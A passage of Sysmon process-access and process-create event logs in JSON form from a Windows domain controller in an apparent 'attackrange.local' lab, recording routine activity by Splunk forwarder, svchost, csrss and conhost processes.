11:56:41.119","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4179-5F2D-0000-00100AD60800}","TargetProcessId":"3388","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5928,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:41.260\r\nSourceProcessGUID: {90617006-4179-5F2D-0000-00100AD60800}\r\nSourceProcessId: 3388\r\nSourceThreadId: 2148\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:41.260","SourceProcessGUID":"{90617006-4179-5F2D-0000-00100AD60800}","SourceProcessId":"3388","SourceThreadId":"2148","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5929,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:42.825\r\nProcessGuid: {90617006-417A-5F2D-0000-00108BD80800}\r\nProcessId: 3416\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:42.825","ProcessGuid":"{90617006-417A-5F2D-0000-00108BD80800}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:56:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5930,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:42.823\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-417A-5F2D-0000-00108BD80800}\r\nTargetProcessId: 3416\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:42.823","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-417A-5F2D-0000-00108BD80800}","TargetProcessId":"3416","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5931,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:42.823\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-417A-5F2D-0000-00108BD80800}\r\nTargetProcessId: 3416\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:42.823","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-417A-5F2D-0000-00108BD80800}","TargetProcessId":"3416","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5932,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:42.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:42.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5933,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:42.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:42.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5934,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:42.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:42.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5935,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:42.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:42.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5936,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:42.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 